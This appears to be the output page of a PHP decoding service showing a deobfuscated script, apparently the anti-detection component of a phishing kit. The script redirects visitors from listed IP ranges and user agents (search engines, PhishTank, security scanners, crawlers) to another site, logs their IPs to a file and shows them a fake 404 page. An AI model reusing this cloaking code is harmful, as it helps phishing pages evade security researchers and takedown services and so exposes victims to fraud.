Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a370a=$_SERVER['REMOTE_ADDR'];$cd1e=array("^94.26.*.*","^95.85.*.*","^72.52.96.*","..

Decoded Output download

<?php $a370a=$_SERVER['REMOTE_ADDR'];$cd1e=array("^94.26.*.*","^95.85.*.*","^72.52.96.*","^212.8.79.*","^62.99.77.*","^83.31.118.*","^91.231.*.*","^206.207.*.*","^91.231.212.*","^62.99.77.*","^198.41.243.*","^162.158.*.*","^162.158.7.*","^162.158.72.*","^173.245.55.*","^108.162.246.*","^162.158.95.*","^108.162.215.*","^95.108.194.*","^141.101.104.*","^93.54.82.*","^69.164.145.*","^194.153.113.*","^178.43.117.*","^62.141.65.*","^83.31.69.*","^107.178.195.*","^149.20.54.*","^85.9.7.*","^87.106.251.*","^107.178.194.*","^124.66.185.*","^133.11.204.*","^185.2.138.*","^188.165.83.*","^78.148.13.*","^192.232.213.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^176.195.231.*","^206.253.226.*","^107.20.181.*","^188.244.39.*","^124.66.185.*","^38.74.138.*","^124.66.185.*","^38.74.138.*","^206.253.226.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^85.9.7.*","^37.140.188.*","^195.128.227.*","^38.74.138.*","^107.20.181.*","^104.131.223.*","^46.4.120.*","^107.178.194.*","^198.60.236.*","^217.74.103.*","^92.103.69.*","^217.74.103.*","^66.211.160.86*","^46.244.*.*","^131.*.*.*","^157.*.*.*","^202.*.*.*","^204.*.*.*","^207.*.*.*","^213.*.*.*","^219.*.*.*","^63.*.*.*","^64.*.*.*","^65.*.*.*","^68.*.*.*","^64.*.*.*","^64.233.160.*","^64.233.191.*","^64.233.191.255*","^66.102.*.*","^66.249.*.*","^72.14.*.*","^74.125.*.*","^209.85.*.*","^216.239.*.*","^64.4.*.*","^65.52.*.*","^131.253.*.*","^157.54.*.*","^207.46.*.*","^207.68.*.*","^8.12.*.*","^66.196.*.*","^66.228.*.*","^67.195.*.*","^68.142.*.*","^72.30.*.*","^74.6.*.*","^98.136.*.*","^202.160.*.*","^209.191.*.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*",);foreach($cd1e as $cv1x){if(preg_match('/'.$cv1x.'/',$a370a)){header('Location: http://3m.ma');$f4c64o=fopen("captured.txt","a+");fwrite($f4c64o,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."

");fclose($f4c64o);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}$c114d=strtolower($_SERVER['HTTP_USER_AGENT']);$e97476a=array("bot","above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","crawler","urlredirectresolver","jetbrains","spam","windows 95","windows 98","acunetix","netsparker","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm","EBAY","CL0NA","jabber","ebay","arabot","hotmail!","msn!","outlook!","outlook","msn","hotmail");foreach($e97476a as $d3e7e){if(substr_count($c114d,strtolower($d3e7e))>0 or $c114d=="" or $c114d==" " or $c114d=="	"){header('Location: http://3m.ma');$f4c64i=fopen("captured.txt","a+");fwrite($f4c64i,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."

");fclose($f4c64i);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}?>

Did this file decode correctly?

Original Code

<?php $a370a=$_SERVER['REMOTE_ADDR'];$cd1e=array("^94.26.*.*","^95.85.*.*","^72.52.96.*","^212.8.79.*","^62.99.77.*","^83.31.118.*","^91.231.*.*","^206.207.*.*","^91.231.212.*","^62.99.77.*","^198.41.243.*","^162.158.*.*","^162.158.7.*","^162.158.72.*","^173.245.55.*","^108.162.246.*","^162.158.95.*","^108.162.215.*","^95.108.194.*","^141.101.104.*","^93.54.82.*","^69.164.145.*","^194.153.113.*","^178.43.117.*","^62.141.65.*","^83.31.69.*","^107.178.195.*","^149.20.54.*","^85.9.7.*","^87.106.251.*","^107.178.194.*","^124.66.185.*","^133.11.204.*","^185.2.138.*","^188.165.83.*","^78.148.13.*","^192.232.213.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^176.195.231.*","^206.253.226.*","^107.20.181.*","^188.244.39.*","^124.66.185.*","^38.74.138.*","^124.66.185.*","^38.74.138.*","^206.253.226.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^85.9.7.*","^37.140.188.*","^195.128.227.*","^38.74.138.*","^107.20.181.*","^104.131.223.*","^46.4.120.*","^107.178.194.*","^198.60.236.*","^217.74.103.*","^92.103.69.*","^217.74.103.*","^66.211.160.86*","^46.244.*.*","^131.*.*.*","^157.*.*.*","^202.*.*.*","^204.*.*.*","^207.*.*.*","^213.*.*.*","^219.*.*.*","^63.*.*.*","^64.*.*.*","^65.*.*.*","^68.*.*.*","^64.*.*.*","^64.233.160.*","^64.233.191.*","^64.233.191.255*","^66.102.*.*","^66.249.*.*","^72.14.*.*","^74.125.*.*","^209.85.*.*","^216.239.*.*","^64.4.*.*","^65.52.*.*","^131.253.*.*","^157.54.*.*","^207.46.*.*","^207.68.*.*","^8.12.*.*","^66.196.*.*","^66.228.*.*","^67.195.*.*","^68.142.*.*","^72.30.*.*","^74.6.*.*","^98.136.*.*","^202.160.*.*","^209.191.*.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*",);foreach($cd1e as $cv1x){if(preg_match('/'.$cv1x.'/',$a370a)){header('Location: http://3m.ma');$f4c64o=fopen("captured.txt","a+");fwrite($f4c64o,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64o);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}$c114d=strtolower($_SERVER['HTTP_USER_AGENT']);$e97476a=array("bot","above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","crawler","urlredirectresolver","jetbrains","spam","windows 95","windows 98","acunetix","netsparker","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm","EBAY","CL0NA","jabber","ebay","arabot","hotmail!","msn!","outlook!","outlook","msn","hotmail");foreach($e97476a as $d3e7e){if(substr_count($c114d,strtolower($d3e7e))>0 or $c114d=="" or $c114d==" " or $c114d=="	"){header('Location: http://3m.ma');$f4c64i=fopen("captured.txt","a+");fwrite($f4c64i,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64i);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}?>

Function Calls

header 1
preg_match 1

Variables

$cd1e [{'key': 0, 'value': '^94.26.*.*'}, {'key': 1, 'value': '^95.85.*.*'}, {'key': 2, 'value': '^72.52.96.*'}, {'key': 3, 'value': '^212.8.79.*'}, {'key': 4, 'value': '^62.99.77.*'}, {'key': 5, 'value': '^83.31.118.*'}, {'key': 6, 'value': '^91.231.*.*'}, {'key': 7, 'value': '^206.207.*.*'}, {'key': 8, 'value': '^91.231.212.*'}, {'key': 9, 'value': '^62.99.77.*'}, {'key': 10, 'value': '^198.41.243.*'}, {'key': 11, 'value': '^162.158.*.*'}, {'key': 12, 'value': '^162.158.7.*'}, {'key': 13, 'value': '^162.158.72.*'}, {'key': 14, 'value': '^173.245.55.*'}, {'key': 15, 'value': '^108.162.246.*'}, {'key': 16, 'value': '^162.158.95.*'}, {'key': 17, 'value': '^108.162.215.*'}, {'key': 18, 'value': '^95.108.194.*'}, {'key': 19, 'value': '^141.101.104.*'}, {'key': 20, 'value': '^93.54.82.*'}, {'key': 21, 'value': '^69.164.145.*'}, {'key': 22, 'value': '^194.153.113.*'}, {'key': 23, 'value': '^178.43.117.*'}, {'key': 24, 'value': '^62.141.65.*'}, {'key': 25, 'value': '^83.31.69.*'}, {'key': 26, 'value': '^107.178.195.*'}, {'key': 27, 'value': '^149.20.54.*'}, {'key': 28, 'value': '^85.9.7.*'}, {'key': 29, 'value': '^87.106.251.*'}, {'key': 30, 'value': '^107.178.194.*'}, {'key': 31, 'value': '^124.66.185.*'}, {'key': 32, 'value': '^133.11.204.*'}, {'key': 33, 'value': '^185.2.138.*'}, {'key': 34, 'value': '^188.165.83.*'}, {'key': 35, 'value': '^78.148.13.*'}, {'key': 36, 'value': '^192.232.213.*'}, {'key': 37, 'value': '^1.234.41.*'}, {'key': 38, 'value': '^124.66.185.*'}, {'key': 39, 'value': '^87.106.251.*'}, {'key': 40, 'value': '^176.195.231.*'}, {'key': 41, 'value': '^206.253.226.*'}, {'key': 42, 'value': '^107.20.181.*'}, {'key': 43, 'value': '^188.244.39.*'}, {'key': 44, 'value': '^124.66.185.*'}, {'key': 45, 'value': '^38.74.138.*'}, {'key': 46, 'value': '^124.66.185.*'}, {'key': 47, 'value': '^38.74.138.*'}, {'key': 48, 'value': '^206.253.226.*'}, {'key': 49, 'value': '^1.234.41.*'}, {'key': 50, 'value': '^124.66.185.*'}, {'key': 51, 'value': '^87.106.251.*'}, {'key': 52, 'value': '^85.9.7.*'}, {'key': 53, 'value': '^37.140.188.*'}, {'key': 54, 'value': '^195.128.227.*'}, {'key': 55, 'value': '^38.74.138.*'}, {'key': 56, 'value': '^107.20.181.*'}, {'key': 57, 'value': '^104.131.223.*'}, {'key': 58, 'value': '^46.4.120.*'}, {'key': 59, 'value': '^107.178.194.*'}, {'key': 60, 'value': '^198.60.236.*'}, {'key': 61, 'value': '^217.74.103.*'}, {'key': 62, 'value': '^92.103.69.*'}, {'key': 63, 'value': '^217.74.103.*'}, {'key': 64, 'value': '^66.211.160.86*'}, {'key': 65, 'value': '^46.244.*.*'}, {'key': 66, 'value': '^131.*.*.*'}, {'key': 67, 'value': '^157.*.*.*'}, {'key': 68, 'value': '^202.*.*.*'}, {'key': 69, 'value': '^204.*.*.*'}, {'key': 70, 'value': '^207.*.*.*'}, {'key': 71, 'value': '^213.*.*.*'}, {'key': 72, 'value': '^219.*.*.*'}, {'key': 73, 'value': '^63.*.*.*'}, {'key': 74, 'value': '^64.*.*.*'}, {'key': 75, 'value': '^65.*.*.*'}, {'key': 76, 'value': '^68.*.*.*'}, {'key': 77, 'value': '^64.*.*.*'}, {'key': 78, 'value': '^64.233.160.*'}, {'key': 79, 'value': '^64.233.191.*'}, {'key': 80, 'value': '^64.233.191.255*'}, {'key': 81, 'value': '^66.102.*.*'}, {'key': 82, 'value': '^66.249.*.*'}, {'key': 83, 'value': '^72.14.*.*'}, {'key': 84, 'value': '^74.125.*.*'}, {'key': 85, 'value': '^209.85.*.*'}, {'key': 86, 'value': '^216.239.*.*'}, {'key': 87, 'value': '^64.4.*.*'}, {'key': 88, 'value': '^65.52.*.*'}, {'key': 89, 'value': '^131.253.*.*'}, {'key': 90, 'value': '^157.54.*.*'}, {'key': 91, 'value': '^207.46.*.*'}, {'key': 92, 'value': '^207.68.*.*'}, {'key': 93, 'value': '^8.12.*.*'}, {'key': 94, 'value': '^66.196.*.*'}, {'key': 95, 'value': '^66.228.*.*'}, {'key': 96, 'value': '^67.195.*.*'}, {'key': 97, 'value': '^68.142.*.*'}, {'key': 98, 'value': '^72.30.*.*'}, {'key': 99, 'value': '^74.6.*.*'}, {'key': 100, 'value': '^98.136.*.*'}, {'key': 101, 'value': '^202.160.*.*'}, {'key': 102, 'value': '^209.191.*.*'}, {'key': 103, 'value': '^66.102.*.*'}, {'key': 104, 'value': '^38.100.*.*'}, {'key': 105, 'value': '^107.170.*.*'}, {'key': 106, 'value': '^149.20.*.*'}, {'key': 107, 'value': '^38.105.*.*'}, {'key': 108, 'value': '^74.125.*.*'}, {'key': 109, 'value': '^66.150.14.*'}, {'key': 110, 'value': '^54.176.*.*'}, {'key': 111, 'value': '^38.100.*.*'}, {'key': 112, 'value': '^184.173.*.*'}, {'key': 113, 'value': '^66.249.*.*'}, {'key': 114, 'value': '^128.242.*.*'}, {'key': 115, 'value': '^72.14.192.*'}, {'key': 116, 'value': '^208.65.144.*'}, {'key': 117, 'value': '^74.125.*.*'}, {'key': 118, 'value': '^209.85.128.*'}, {'key': 119, 'value': '^216.239.32.*'}, {'key': 120, 'value': '^74.125.*.*'}, {'key': 121, 'value': '^207.126.144.*'}, {'key': 122, 'value': '^173.194.*.*'}, {'key': 123, 'value': '^64.233.160.*'}, {'key': 124, 'value': '^72.14.192.*'}, {'key': 125, 'value': '^66.102.*.*'}, {'key': 126, 'value': '^64.18.*.*'}, {'key': 127, 'value': '^194.52.68.*'}, {'key': 128, 'value': '^194.72.238.*'}, {'key': 129, 'value': '^62.116.207.*'}, {'key': 130, 'value': '^212.50.193.*'}, {'key': 131, 'value': '^69.65.*.*'}, {'key': 132, 'value': '^50.7.*.*'}, {'key': 133, 'value': '^131.212.*.*'}, {'key': 134, 'value': '^46.116.*.* '}, {'key': 135, 'value': '^62.90.*.*'}, {'key': 136, 'value': '^89.138.*.*'}, {'key': 137, 'value': '^82.166.*.*'}, {'key': 138, 'value': '^85.64.*.*'}, {'key': 139, 'value': '^85.250.*.*'}, {'key': 140, 'value': '^89.138.*.*'}, {'key': 141, 'value': '^93.172.*.*'}, {'key': 142, 'value': '^109.186.*.*'}, {'key': 143, 'value': '^194.90.*.*'}, {'key': 144, 'value': '^212.29.192.*'}, {'key': 145, 'value': '^212.29.224.*'}, {'key': 146, 'value': '^212.143.*.*'}, {'key': 147, 'value': '^212.150.*.*'}, {'key': 148, 'value': '^212.235.*.*'}, {'key': 149, 'value': '^217.132.*.*'}, {'key': 150, 'value': '^50.97.*.*'}, {'key': 151, 'value': '^217.132.*.*'}, {'key': 152, 'value': '^209.85.*.*'}, {'key': 153, 'value': '^66.205.64.*'}, {'key': 154, 'value': '^204.14.48.*'}, {'key': 155, 'value': '^64.27.2.*'}, {'key': 156, 'value': '^67.15.*.*'}, {'key': 157, 'value': '^202.108.252.*'}, {'key': 158, 'value': '^193.47.80.*'}, {'key': 159, 'value': '^64.62.136.*'}, {'key': 160, 'value': '^66.221.*.*'}, {'key': 161, 'value': '^64.62.175.*'}, {'key': 162, 'value': '^198.54.*.*'}, {'key': 163, 'value': '^192.115.134.*'}, {'key': 164, 'value': '^216.252.167.*'}, {'key': 165, 'value': '^193.253.199.*'}, {'key': 166, 'value': '^69.61.12.*'}, {'key': 167, 'value': '^64.37.103.*'}, {'key': 168, 'value': '^38.144.36.*'}, {'key': 169, 'value': '^64.124.14.*'}, {'key': 170, 'value': '^206.28.72.*'}, {'key': 171, 'value': '^209.73.228.*'}, {'key': 172, 'value': '^158.108.*.*'}, {'key': 173, 'value': '^168.188.*.*'}, {'key': 174, 'value': '^66.207.120.*'}, {'key': 175, 'value': '^167.24.*.*'}, {'key': 176, 'value': '^192.118.48.*'}, {'key': 177, 'value': '^67.209.128.*'}, {'key': 178, 'value': '^12.148.209.*'}, {'key': 179, 'value': '^12.148.196.*'}, {'key': 180, 'value': '^193.220.178.*'}, {'key': 181, 'value': '68.65.53.71'}, {'key': 182, 'value': '^198.25.*.*'}, {'key': 183, 'value': '^64.106.213.*'}]
$cv1x ^94.26.*.*
$a370a None

Stats

MD5 a2f8c87f0ba3b5dd1ed0265ea1046e84
Eval Count 0
Decode Time 90 ms